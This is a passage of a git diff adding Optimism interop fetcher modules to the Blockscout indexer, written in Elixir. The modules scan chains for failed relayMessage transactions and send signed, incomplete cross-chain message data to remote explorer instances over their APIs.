non_neg_integer()} | {:error, any()} + def get_last_block_number(json_rpc_named_arguments, current_chain_id, only_failed \\ false) do + {last_block_number, last_transaction_hash} = InteropMessage.get_last_item(current_chain_id, only_failed) + + with {:empty_hash, false} <- {:empty_hash, is_nil(last_transaction_hash)}, + {:ok, last_transaction} <- Helper.get_transaction_by_hash(last_transaction_hash, json_rpc_named_arguments), + {:empty_transaction, false} <- {:empty_transaction, is_nil(last_transaction)} do + {:ok, last_block_number} + else + {:empty_hash, true} -> + {:ok, 0} + + {:error, _} = error -> + error + + {:empty_transaction, true} -> + Logger.error( + "Cannot find the last transaction from RPC by its hash (#{last_transaction_hash}). Probably, there was a reorg. Trying to check preceding transaction..." + ) + + InteropMessage.remove_invalid_messages(last_block_number - 1) + + get_last_block_number(json_rpc_named_arguments, current_chain_id) + end + end + + # Builds a map `block_number -> timestamp` from the given list of events. + # + # Firstly, the function tries to find timestamps for blocks in the `blocks` table in database. + # If the timestamp for block is not found in database, it's read from RPC. + # + # ## Parameters + # - `events`: The list of events for which we need to retrieve block timestamps. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - `block_number -> timestamp` map. + @spec block_timestamp_by_number(list(), EthereumJSONRPC.json_rpc_named_arguments()) :: map() + defp block_timestamp_by_number(events, json_rpc_named_arguments) do + block_numbers = + events + |> Enum.reduce(MapSet.new(), fn event, acc -> + MapSet.put(acc, quantity_to_integer(event["blockNumber"])) + end) + |> MapSet.to_list() + + block_timestamp_from_db = BlockReaderGeneral.timestamps_by_block_numbers(block_numbers) + + block_numbers + |> Enum.reject(&Map.has_key?(block_timestamp_from_db, &1)) + |> Enum.chunk_every(@blocks_batch_request_max_size) + |> Enum.reduce(block_timestamp_from_db, fn numbers, acc -> + numbers + |> Optimism.get_blocks_by_numbers(json_rpc_named_arguments, Helper.infinite_retries_number()) + |> Enum.reduce(acc, fn block, bn_to_ts_acc -> + block_number = quantity_to_integer(Map.get(block, "number")) + {:ok, timestamp} = DateTime.from_unix(quantity_to_integer(Map.get(block, "timestamp"))) + Map.put(bn_to_ts_acc, block_number, timestamp) + end) + end) + end + + def fetcher_name, do: @fetcher_name + + @doc """ + Returns a constant address of L2ToL2CrossDomainMessenger predeploy. + + ## Returns + - An address of L2ToL2CrossDomainMessenger predeploy. + """ + @spec l2tol2_cross_domain_messenger() :: String.t() + def l2tol2_cross_domain_messenger, do: @l2tol2_cross_domain_messenger + + @doc """ + Returns a max possible value for 32-bit signed integer. + + ## Returns + - A max possible value for 32-bit signed integer. + """ + @spec max_int32() :: non_neg_integer() + def max_int32, do: @max_int32 + + @doc """ + Returns a 32-byte signature of the `SentMessage` event: `SentMessage(uint256 indexed destination, address indexed target, uint256 indexed messageNonce, address sender, bytes message)`. + + ## Returns + - 32-byte signature of the `SentMessage` event. + """ + @spec sent_message_event_signature() :: String.t() + def sent_message_event_signature, do: @sent_message_event +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/interop/message_failed.ex b/apps/indexer/lib/indexer/fetcher/optimism/interop/message_failed.ex new file mode 100644 index 000000000000..d62c6ca39a0e --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/interop/message_failed.ex @@ -0,0 +1,403 @@ +defmodule Indexer.Fetcher.Optimism.Interop.MessageFailed do + @moduledoc """ + Fills op_interop_messages DB table with failed messages. + + The table stores indexed interop messages which are got from `SentMessage` and `RelayedMessage` events + (or failed relay transactions) emitted by the `L2ToL2CrossDomainMessenger` predeploy smart contract. + The messages are scanned starting from the block number defined in INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK + env variable. If the variable is not defined, the module doesn't start. + + Each message always consists of two transactions: initial transaction on the source chain and relay transaction + on the target chain. The initial transaction emits the `SentMessage` event, and the successful relay transaction + emits the `RelayedMessage` event. In case of failed relay no events are emitted. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import EthereumJSONRPC, only: [fetch_blocks_by_range: 2, fetch_transaction_receipts: 2] + import Explorer.Helper, only: [decode_data: 2] + + import Indexer.Fetcher.Optimism.Interop.Helper, + only: [log_cant_get_chain_id_from_rpc: 0, log_cant_get_last_transaction_from_rpc: 1, log_last_block_numbers: 2] + + alias ABI.TypeDecoder + alias EthereumJSONRPC.Blocks + alias Explorer.Chain + alias Explorer.Chain.Events.Subscriber + alias Explorer.Chain.Optimism.InteropMessage + alias Indexer.Fetcher.Optimism + alias Indexer.Fetcher.Optimism.Interop.Message, as: InteropMessageFetcher + alias Indexer.Helper + + @fetcher_name :optimism_interop_messages_failed + + # 4-byte signature of the method relayMessage((address origin, uint256 blockNumber, uint256 logIndex, uint256 timestamp, uint256 chainId), bytes _sentMessage) + @relay_message_method "0x8d1d298f" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + {:ok, %{}, {:continue, args[:json_rpc_named_arguments]}} + end + + # Initialization function which is used instead of `init` to avoid Supervisor's stop in case of any critical issues + # during initialization. It checks the value of INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK env variable, defines the + # block range which must be scanned to handle failed relay transactions, and starts the handling loop. + # + # The block range is split into chunks which max size is defined by INDEXER_OPTIMISM_L2_INTEROP_BLOCKS_CHUNK_SIZE + # env variable. + # + # Also, the function fetches the current chain id to use it in the handler (to write correct `init_chain_id` and + # `relay_chain_id` fields). + # + # When the initialization succeeds, the `:continue` message is sent to GenServer to start the catchup loop + # retrieving and saving historical failed transactions (and after that, it's switched to realtime mode). + # + # ## Parameters + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection to RPC node. + # - `_state`: Initial state of the fetcher (empty map when starting). + # + # ## Returns + # - `{:noreply, state}` when the initialization is successful and the fetching can start. The `state` contains + # necessary parameters needed for the fetching. + # - `{:stop, :normal, %{}}` in case of error or when the INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK is not defined. + @impl GenServer + @spec handle_continue(EthereumJSONRPC.json_rpc_named_arguments(), map()) :: + {:noreply, map()} | {:stop, :normal, map()} + def handle_continue(json_rpc_named_arguments, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + env = Application.get_all_env(:indexer)[Indexer.Fetcher.Optimism.Interop.Message] + block_number = env[:start_block] + + with false <- is_nil(block_number), + chain_id = Optimism.fetch_chain_id(), + {:chain_id_is_nil, false} <- {:chain_id_is_nil, is_nil(chain_id)}, + Subscriber.to(:blocks, :realtime), + {:ok, latest_block_number} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()), + InteropMessage.remove_invalid_messages(latest_block_number), + {:ok, last_block_number} <- + InteropMessageFetcher.get_last_block_number(json_rpc_named_arguments, chain_id, true) do + log_last_block_numbers(last_block_number, latest_block_number) + + Process.send(self(), :continue, []) + + {:noreply, + %{ + start_block_number: max(block_number, last_block_number), + end_block_number: latest_block_number, + chunk_size: env[:blocks_chunk_size], + mode: :catchup, + realtime_range: nil, + last_realtime_block_number: nil, + json_rpc_named_arguments: json_rpc_named_arguments, + chain_id: chain_id + }} + else + true -> + # Start block is not defined, so we don't start this module + {:stop, :normal, %{}} + + {:chain_id_is_nil, true} -> + log_cant_get_chain_id_from_rpc() + {:stop, :normal, %{}} + + {:error, error_data} -> + log_cant_get_last_transaction_from_rpc(error_data) + {:stop, :normal, %{}} + end + end + + # Performs the main handling loop for the specified block range. The block range is split into chunks. + # Max size of a chunk is defined by INDEXER_OPTIMISM_L2_INTEROP_BLOCKS_CHUNK_SIZE env variable. + # + # If there are reorg blocks in the block range, the reorgs are handled. In a normal situation, + # the realtime block range is formed by `handle_info({:chain_event, :blocks, :realtime, blocks}, state)` + # handler. + # + # ## Parameters + # - `:continue`: The GenServer message. + # - `state`: The current state of the fetcher containing block range, max chunk size, etc. + # + # ## Returns + # - `{:noreply, state}` tuple where `state` is the new state of the fetcher which can have updated block + # range and other parameters. + @impl GenServer + def handle_info( + :continue, + %{ + start_block_number: start_block_number, + end_block_number: end_block_number, + chunk_size: chunk_size, + mode: mode, + last_realtime_block_number: last_realtime_block_number, + json_rpc_named_arguments: json_rpc_named_arguments, + chain_id: chain_id + } = state + ) do + {new_start_block_number, new_end_block_number, reorg_block_number} = + start_block_number..end_block_number + |> Enum.chunk_every(chunk_size) + |> Enum.reduce_while({nil, nil, nil}, fn block_numbers, _acc -> + chunk_start = List.first(block_numbers) + chunk_end = List.last(block_numbers) + + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block_number, end_block_number, nil, :L2) + + failed_relay_count = handle_failed_relays(Range.new(chunk_start, chunk_end), json_rpc_named_arguments, chain_id) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block_number, + end_block_number, + "#{failed_relay_count} failed relay(s).", + :L2 + ) + + reorg_block_number = Optimism.handle_reorgs_queue(__MODULE__, &InteropMessageFetcher.handle_reorg/1) + + cond do + is_nil(reorg_block_number) or reorg_block_number > end_block_number -> + {:cont, {nil, nil, reorg_block_number}} + + reorg_block_number < start_block_number -> + new_start_block_number = reorg_block_number + new_end_block_number = reorg_block_number + {:halt, {new_start_block_number, new_end_block_number, reorg_block_number}} + + true -> + new_start_block_number = min(chunk_end + 1, reorg_block_number) + new_end_block_number = reorg_block_number + {:halt, {new_start_block_number, new_end_block_number, reorg_block_number}} + end + end) + + new_last_realtime_block_number = + if is_nil(reorg_block_number) do + last_realtime_block_number + else + reorg_block_number + end + + if is_nil(new_start_block_number) or is_nil(new_end_block_number) do + # if there wasn't a reorg or the reorg didn't affect the current range, switch to realtime mode + if mode == :catchup do + Optimism.log_catchup_loop_finished(start_block_number, end_block_number) + end + + {:noreply, %{state | mode: :realtime, last_realtime_block_number: new_last_realtime_block_number}} + else + # if the reorg affected the current range, cut the range (see the code above) + # so that the last block of the range is the reorg block number, and handle the new range + Process.send(self(), :continue, []) + + {:noreply, + %{ + state + | start_block_number: new_start_block_number, + end_block_number: new_end_block_number, + last_realtime_block_number: new_last_realtime_block_number + }} + end + end + + # Catches new block from the realtime block fetcher to form the next block range to handle by the main loop. + # + # ## Parameters + # - `{:chain_event, :blocks, :realtime, blocks}`: The GenServer message containing the list of blocks + # taken by the realtime block fetcher. + # - `state`: The current fetcher state containing the current block range and other parameters for realtime handling. + # + # ## Returns + # - `{:noreply, state}` tuple where `state` is the new state of the fetcher containing the updated block range and other parameters. + @impl GenServer + def handle_info({:chain_event, :blocks, :realtime, blocks}, state) do + Optimism.handle_realtime_blocks(blocks, state) + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + # Searches and handles failed relay transactions. + # + # ## Parameters + # - `block_range`: The block range for which we need to search and handle the transactions. + # Note that the length of the range cannot be larger than max batch request size on RPC node. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # - `current_chain_id`: The current chain ID to check that `relay_chain_id` is correct. + # + # ## Returns + # - The number of found transactions in the given block range. + @spec handle_failed_relays(Range.t(), EthereumJSONRPC.json_rpc_named_arguments(), non_neg_integer()) :: + non_neg_integer() + defp handle_failed_relays(block_range, json_rpc_named_arguments, current_chain_id) do + case fetch_blocks_by_range(block_range, json_rpc_named_arguments) do + {:ok, %Blocks{transactions_params: transactions_params, errors: []}} -> + transactions_params + |> transactions_filter(json_rpc_named_arguments) + |> handle_failed_relays_inner(current_chain_id) + + {_, message_or_errors} -> + message = + case message_or_errors do + %Blocks{errors: errors} -> errors + msg -> msg + end + + Optimism.log_error_message_with_retry_sleep( + "Cannot fetch blocks #{inspect(block_range)}. Error(s): #{inspect(message)}" + ) + + handle_failed_relays( + block_range, + json_rpc_named_arguments, + current_chain_id + ) + end + end + + # Parses failed relay transactions and imports them to database. + # + # ## Parameters + # - `transactions_params`: The list of transactions filtered by the `transactions_filter` function. + # - `current_chain_id`: The current chain ID to check that `relay_chain_id` is correct. + # + # ## Returns + # - The number of failed relay transactions imported into the `op_interop_messages` table. + @spec handle_failed_relays_inner(list(), non_neg_integer()) :: non_neg_integer() + defp handle_failed_relays_inner(transactions_params, current_chain_id) do + relay_message_selector = %ABI.FunctionSelector{ + function: "relayMessage", + types: [ + {:tuple, + [ + :address, + {:uint, 256}, + {:uint, 256}, + {:uint, 256}, + {:uint, 256} + ]}, + :bytes + ] + } + + sent_message_event_signature = InteropMessageFetcher.sent_message_event_signature() + + messages = + transactions_params + |> Enum.map(fn transaction -> + @relay_message_method <> encoded_params = transaction.input + + [ + {_origin, _block_number, _log_index, _timestamp, init_chain_id}, + ^sent_message_event_signature <> sent_message_topics_and_data + ] = + TypeDecoder.decode( + Base.decode16!(encoded_params, case: :lower), + relay_message_selector + ) + + [relay_chain_id, _target, nonce, _sender, _payload] = + decode_data(sent_message_topics_and_data, [{:uint, 256}, :address, {:uint, 256}, :address, :bytes]) + + %{ + nonce: nonce, + init_chain_id: init_chain_id, + block_number: transaction.block_number, + relay_chain_id: relay_chain_id, + relay_transaction_hash: transaction.hash, + failed: true + } + end) + |> Enum.filter(&(&1.relay_chain_id == current_chain_id)) + |> Enum.reject(&(&1.init_chain_id > InteropMessageFetcher.max_int32())) + + {:ok, _} = + Chain.import(%{ + optimism_interop_messages: %{params: messages}, + timeout: :infinity + }) + + Enum.count(messages) + end + + # Filters the given list of transactions leaving only failed `relayMessage` calls. + # + # ## Parameters + # - `transactions_params`: The list of transactions returned by the `fetch_blocks_by_range` function. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - The filtered list of transactions. + @spec transactions_filter(list(), EthereumJSONRPC.json_rpc_named_arguments()) :: list() + defp transactions_filter(transactions_params, json_rpc_named_arguments) do + relay_message_transactions = + transactions_params + |> Enum.filter(fn transaction -> + to_address_hash = Map.get(transaction, :to_address_hash, "") + + to_address = + if is_nil(to_address_hash) do + "" + else + String.downcase(to_address_hash) + end + + is_relay_message_method = + transaction + |> Map.get(:input, "") + |> String.downcase() + |> String.starts_with?(@relay_message_method) + + to_address == InteropMessageFetcher.l2tol2_cross_domain_messenger() and is_relay_message_method + end) + + case fetch_transaction_receipts(relay_message_transactions, json_rpc_named_arguments) do + {:ok, %{receipts: receipts}} -> + status_by_hash = + receipts + |> Enum.map(&{&1.transaction_hash, &1.status}) + |> Enum.into(%{}) + + Enum.filter(relay_message_transactions, fn transaction -> + Map.get(status_by_hash, transaction.hash) == :error + end) + + {:error, reason} -> + transaction_hashes = Enum.map(relay_message_transactions, & &1.hash) + + error_message = "Cannot fetch receipts for #{inspect(transaction_hashes)}. Reason: #{inspect(reason)}" + + Optimism.log_error_message_with_retry_sleep(error_message) + + transactions_filter(transactions_params, json_rpc_named_arguments) + end + end + + def fetcher_name, do: @fetcher_name +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/interop/message_queue.ex b/apps/indexer/lib/indexer/fetcher/optimism/interop/message_queue.ex new file mode 100644 index 000000000000..71b058c1dc0a --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/interop/message_queue.ex @@ -0,0 +1,435 @@ +defmodule Indexer.Fetcher.Optimism.Interop.MessageQueue do + @moduledoc """ + Searches for incomplete messages in the `op_interop_messages` database table and sends message's data to the + remote instance through API post request to fill missed part and notify the remote side about the known part. + An incomplete message is the message for which an init transaction or relay transaction is unknown yet. + The number of incomplete messages considered depends on INDEXER_OPTIMISM_INTEROP_EXPORT_EXPIRATION_DAYS env variable. + + The data being sent is signed with a private key defined in INDEXER_OPTIMISM_INTEROP_PRIVATE_KEY env variable. + + The module constructs correct API URL to send the data to based on the chain ID. A `chain_id -> instance_url` map + is available in Chainscout API (which URL is defined in INDEXER_OPTIMISM_CHAINSCOUT_API_URL env variable) or + can be defined with INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP env variable in form of JSON object, e.g.: + + {"10":"https://optimism.blockscout.com/","8453":"https://base.blockscout.com/"} + + or extended case (when API and UI have different URLs): + + {"123" : {"api" : "http://localhost:4000/", "ui" : "http://localhost:3000/"}, "456" : {"api" : "http://localhost:4100/", "ui" : "http://localhost:3100/"}} + + In production chains INDEXER_OPTIMISM_CHAINSCOUT_API_URL env should be defined as `https://chains.blockscout.com/api/chains/`. + In local dev chains INDEXER_OPTIMISM_CHAINSCOUT_API_URL env should be omitted as the Chainscout doesn't have any info about + some dev chain. For local dev case INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP must be used. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import Explorer.Helper, only: [hash_to_binary: 1] + import Indexer.Fetcher.Optimism.Interop.Helper, only: [log_cant_get_chain_id_from_rpc: 0] + + alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.{Data, Hash} + alias Explorer.Chain.Optimism.InteropMessage + alias Indexer.Fetcher.Optimism + alias Indexer.Helper + + @counter_type "optimism_interop_messages_queue_iteration" + @fetcher_name :optimism_interop_messages_queue + @api_endpoint_import "/api/v2/import/optimism/interop/" + @chunk_size 1000 + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + {:ok, %{}, {:continue, args[:json_rpc_named_arguments]}} + end + + # Initialization function which is used instead of `init` to avoid Supervisor's stop in case of any critical issues + # during initialization. It checks the value of INDEXER_OPTIMISM_CHAINSCOUT_API_URL, INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP, + # and INDEXER_OPTIMISM_INTEROP_PRIVATE_KEY env variables and starts the handling loop. + # + # Also, the function fetches the current chain id to use it in the handler. + # + # When the initialization succeeds, the `:continue` message is sent to GenServer to start the queue handler loop. + # + # ## Parameters + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection to RPC node. + # - `_state`: Initial state of the fetcher (empty map when starting). + # + # ## Returns + # - `{:noreply, state}` when the initialization is successful and the handling can start. The `state` contains + # necessary parameters needed for the handling. + # - `{:stop, :normal, %{}}` in case of error or when both env variables are not defined. + @impl GenServer + @spec handle_continue(EthereumJSONRPC.json_rpc_named_arguments(), map()) :: + {:noreply, map()} | {:stop, :normal, map()} + def handle_continue(json_rpc_named_arguments, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + env = Application.get_all_env(:indexer)[__MODULE__] + + with false <- is_nil(env[:chainscout_api_url]) and env[:chainscout_fallback_map] == %{}, + {:ok, _} <- ExSecp256k1.create_public_key(hash_to_binary(env[:private_key])), + chain_id = Optimism.fetch_chain_id(), + {:chain_id_is_nil, false} <- {:chain_id_is_nil, is_nil(chain_id)}, + block_duration = Application.get_env(:indexer, Indexer.Fetcher.Optimism)[:block_duration], + {:block_duration_is_invalid, false} <- + {:block_duration_is_invalid, not is_integer(block_duration) or block_duration <= 0} do + chainscout_map = + env[:chainscout_fallback_map] + |> Enum.map(fn {id, url} -> + {String.to_integer(id), String.trim_trailing(if(is_map(url), do: url["api"], else: url), "/")} + end) + |> Enum.into(%{}) + + Process.send(self(), :continue, []) + + {:noreply, + %{ + chain_id: chain_id, + chainscout_api_url: env[:chainscout_api_url], + chainscout_map: chainscout_map, + timeout: :timer.seconds(env[:connect_timeout]), + recv_timeout: :timer.seconds(env[:recv_timeout]), + export_expiration_blocks: div(env[:export_expiration] * 24 * 3600, block_duration), + iterations_done: Decimal.to_integer(LastFetchedCounter.get(@counter_type)), + json_rpc_named_arguments: json_rpc_named_arguments + }} + else + true -> + # Chainscout API URL and fallback map are not defined, so we don't start this module + Logger.warning( + "Both INDEXER_OPTIMISM_CHAINSCOUT_API_URL and INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP are not defined. The module #{__MODULE__} will not start." + ) + + {:stop, :normal, %{}} + + {:chain_id_is_nil, true} -> + log_cant_get_chain_id_from_rpc() + {:stop, :normal, %{}} + + {:block_duration_is_invalid, true} -> + Logger.error("Please, check INDEXER_OPTIMISM_BLOCK_DURATION env variable. It is invalid or undefined.") + {:stop, :normal, %{}} + + _ -> + Logger.error( + "Private key is invalid or undefined. Please, check INDEXER_OPTIMISM_INTEROP_PRIVATE_KEY env variable." + ) + + {:stop, :normal, %{}} + end + end + + # Performs the main handling loop searching for incomplete messages. + # + # Details of each incomplete message are prepared, signed, and sent to the remote instance through its API. + # The remote instance response for the message is used to import missed message's data to the database on the + # current instance, so an incomplete message becomes complete. + # + # ## Parameters + # - `:continue`: The GenServer message. + # - `state`: The current state of the fetcher containing the current chain ID, Chainscout map and API URL, + # a private key for signing details, and HTTP timeouts. + # + # ## Returns + # - `{:noreply, state}` tuple where `state` is the new state of the fetcher which can have updated Chainscout map. + @impl GenServer + def handle_info( + :continue, + %{ + chain_id: current_chain_id, + chainscout_api_url: chainscout_api_url, + chainscout_map: chainscout_map, + timeout: timeout, + recv_timeout: recv_timeout, + export_expiration_blocks: export_expiration_blocks, + iterations_done: iterations_done, + json_rpc_named_arguments: json_rpc_named_arguments + } = state + ) do + private_key = hash_to_binary(Application.get_all_env(:indexer)[__MODULE__][:private_key]) + + LastFetchedCounter.upsert(%{ + counter_type: @counter_type, + value: iterations_done + }) + + # the first three iterations scan all incomplete messages, + # but subsequent scans are limited by INDEXER_OPTIMISM_INTEROP_EXPORT_EXPIRATION_DAYS env + start_block_number = + if iterations_done < 3 do + 0 + else + {:ok, latest_block_number} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()) + + max(latest_block_number - export_expiration_blocks, 0) + end + + %{min: min_block_number, max: max_block_number, count: message_count} = + InteropMessage.get_incomplete_messages_stats(current_chain_id, start_block_number) + + chunks_number = ceil(message_count / @chunk_size) + chunk_range = Range.new(0, max(chunks_number - 1, 0), 1) + + updated_chainscout_map = + chunk_range + |> Enum.reduce(chainscout_map, fn current_chunk, chainscout_map_acc -> + current_chain_id + |> InteropMessage.get_incomplete_messages( + min_block_number, + max_block_number, + @chunk_size, + current_chunk * @chunk_size + ) + |> Enum.reduce(chainscout_map_acc, fn message, chainscout_map_acc_internal -> + {instance_chain_id, post_data_signed} = prepare_post_data(message, private_key) + + url_from_map = Map.get(chainscout_map_acc_internal, instance_chain_id) + + instance_url = + with {:url_from_map_is_nil, true, _} <- {:url_from_map_is_nil, is_nil(url_from_map), url_from_map}, + info = InteropMessage.get_instance_info_by_chain_id(instance_chain_id, chainscout_api_url), + {:url_from_chainscout_avail, true} <- {:url_from_chainscout_avail, not is_nil(info)} do + info.instance_url + else + {:url_from_map_is_nil, false, url_from_map} -> + url_from_map + + {:url_from_chainscout_avail, false} -> + nil + end + + with false <- is_nil(instance_url), + endpoint_url = instance_url <> @api_endpoint_import, + response = post_json_request(endpoint_url, post_data_signed, timeout, recv_timeout), + false <- is_nil(response) do + {:ok, _} = + Chain.import(%{ + optimism_interop_messages: %{params: [prepare_import(message, response)]}, + timeout: :infinity + }) + + Logger.info( + "Message details successfully sent to #{endpoint_url}. Request body: #{inspect(post_data_signed)}. Response body: #{inspect(response)}" + ) + end + + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if is_nil(instance_url) do + chainscout_map_acc_internal + else + Map.put(chainscout_map_acc_internal, instance_chain_id, instance_url) + end + end) + end) + + Process.send_after(self(), :continue, :timer.seconds(3)) + + {:noreply, %{state | chainscout_map: updated_chainscout_map, iterations_done: iterations_done + 1}} + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + # Prepares data to send as POST request to the remote API endpoint. + # + # ## Parameters + # - `message`: A map containing the existing message data. + # - `private_key`: A private key to sign the data with. + # + # ## Returns + # - `{instance_chain_id, post_data_signed}` tuple where + # `instance_chain_id` is the chain id of the remote instance, + # `post_data_signed` is the data map with the `signature` field. + @spec prepare_post_data(map(), binary()) :: {non_neg_integer(), map()} + defp prepare_post_data(message, private_key) when is_nil(message.relay_transaction_hash) do + timestamp = DateTime.to_unix(message.timestamp) + + data = %{ + sender_address_hash: Hash.to_string(message.sender_address_hash), + target_address_hash: Hash.to_string(message.target_address_hash), + nonce: message.nonce, + init_chain_id: message.init_chain_id, + init_transaction_hash: Hash.to_string(message.init_transaction_hash), + timestamp: timestamp, + relay_chain_id: message.relay_chain_id, + payload: message.payload, + signature: nil + } + + data_to_sign = + data.sender_address_hash <> + data.target_address_hash <> + Integer.to_string(message.nonce) <> + Integer.to_string(message.init_chain_id) <> + data.init_transaction_hash <> + Integer.to_string(timestamp) <> Integer.to_string(message.relay_chain_id) <> to_string(message.payload) + + {:ok, {signature, _}} = + data_to_sign + |> ExKeccak.hash_256() + |> ExSecp256k1.sign_compact(private_key) + + set_post_data_signature(message.relay_chain_id, data, signature) + end + + defp prepare_post_data(message, private_key) do + data = %{ + nonce: message.nonce, + init_chain_id: message.init_chain_id, + relay_chain_id: message.relay_chain_id, + relay_transaction_hash: Hash.to_string(message.relay_transaction_hash), + failed: message.failed, + signature: nil + } + + data_to_sign = + Integer.to_string(message.nonce) <> + Integer.to_string(message.init_chain_id) <> + Integer.to_string(message.relay_chain_id) <> data.relay_transaction_hash <> to_string(message.failed) + + {:ok, {signature, _}} = + data_to_sign + |> ExKeccak.hash_256() + |> ExSecp256k1.sign_compact(private_key) + + set_post_data_signature(message.init_chain_id, data, signature) + end + + # Adds signature to the data sent as POST request to the remote API endpoint. + # + # ## Parameters + # - `chain_id`: An integer defining the chain ID. + # - `data`: The given data to set the `signature` field for. + # - `signature`: The signature to set. + # + # ## Returns + # - `{chain_id, post_data_signed}` tuple where + # `chain_id` is the chain id from the input parameter. + # `post_data_signed` is the `data` map with the `signature` field. + @doc false + @spec set_post_data_signature(non_neg_integer(), map(), binary()) :: {non_neg_integer(), map()} + def set_post_data_signature(chain_id, data, signature) do + {chain_id, %{data | signature: %Data{bytes: signature} |> to_string()}} + end + + # Prepares a map to import to the `op_interop_messages` table based on the current handling message and + # the response from the remote instance. + # + # ## Parameters + # - `message`: A map containing the existing message data. + # - `response`: A map containing the response from the remote instance. + # + # ## Returns + # - A map containing the missed message's data received from the remote instance. The map structure depends on + # the message direction (incoming or outgoing). + @spec prepare_import(map(), map()) :: map() + defp prepare_import(message, response) do + if is_nil(message.relay_transaction_hash) do + # this is outgoing message without relay part, so we sent message details to the target instance + # and got relay details from the target instance + %{ + nonce: message.nonce, + init_chain_id: message.init_chain_id, + relay_chain_id: message.relay_chain_id, + relay_transaction_hash: Map.get(response, "relay_transaction_hash"), + failed: Map.get(response, "failed") + } + else + # this is incoming message without init part, so we sent relay details to the source instance + # and got message details from the source instance + timestamp = + case Map.get(response, "timestamp") do + nil -> nil + ts -> DateTime.from_unix!(ts) + end + + payload = + case Map.get(response, "payload") do + nil -> nil + pl -> hash_to_binary(pl) + end + + [transfer_token_address_hash, transfer_from_address_hash, transfer_to_address_hash, transfer_amount] = + InteropMessage.decode_payload(payload) + + %{ + sender_address_hash: Map.get(response, "sender_address_hash"), + target_address_hash: Map.get(response, "target_address_hash"), + nonce: message.nonce, + init_chain_id: message.init_chain_id, + init_transaction_hash: Map.get(response, "init_transaction_hash"), + relay_chain_id: message.relay_chain_id, + timestamp: timestamp, + payload: payload, + transfer_token_address_hash: transfer_token_address_hash, + transfer_from_address_hash: transfer_from_address_hash, + transfer_to_address_hash: transfer_to_address_hash, + transfer_amount: transfer_amount + } + end + end + + # Sends message's data to the given remote instance using HTTP POST request and returns a response from the instance. + # + # ## Parameters + # - `url`: URL of the remote API endpoint to send the data to. + # - `body`: A map with message's data. + # - `timeout`: Connect timeout, in milliseconds. + # - `recv_timeout`: timeout for receiving an HTTP response from the socket, in milliseconds. + # + # ## Returns + # - A response map in case of success. + # - `nil` in case of failure (failed HTTP request or invalid JSON response). + @spec post_json_request(String.t(), map(), non_neg_integer(), non_neg_integer()) :: map() | nil + defp post_json_request(url, body, timeout, recv_timeout) do + client = Tesla.client([{Tesla.Middleware.Timeout, timeout: recv_timeout}], Tesla.Adapter.Mint) + headers = [{"Content-Type", "application/json"}] + opts = [adapter: [timeout: recv_timeout, transport_opts: [timeout: timeout]]] + + case Tesla.post(client, url, Jason.encode!(body), headers: headers, opts: opts) do + {:ok, %{body: response_body, status: 200}} -> + case Jason.decode(response_body) do + {:ok, response} -> + response + + _ -> + Logger.error( + "Cannot decode response from #{url}. Response body: #{inspect(response_body)}. Request body: #{body}" + ) + + nil + end + + other -> + Logger.error("Cannot post HTTP request to #{url}. Reason: #{inspect(other)}. Body: #{inspect(body)}") + nil + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/interop/multichain_export.ex b/apps/indexer/lib/indexer/fetcher/optimism/interop/multichain_export.ex new file mode 100644 index 000000000000..2d7dc28fc685 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/interop/multichain_export.ex @@ -0,0 +1,260 @@ +defmodule Indexer.Fetcher.Optimism.Interop.MultichainExport do + @moduledoc """ + Finds messages without `sent_to_multichain` flag in the `op_interop_messages` database table and + sends them to the Multichain service using its API. + + The found messages are combined into a batch and the batch is sent to the remote API. The batch max + size is defined with the optional INDEXER_OPTIMISM_MULTICHAIN_BATCH_SIZE env variable having + a default value. Once the found messages are sent, the module starts the next iteration for another + batch of messages, and so on. + + The Multichain API endpoint URL is defined with 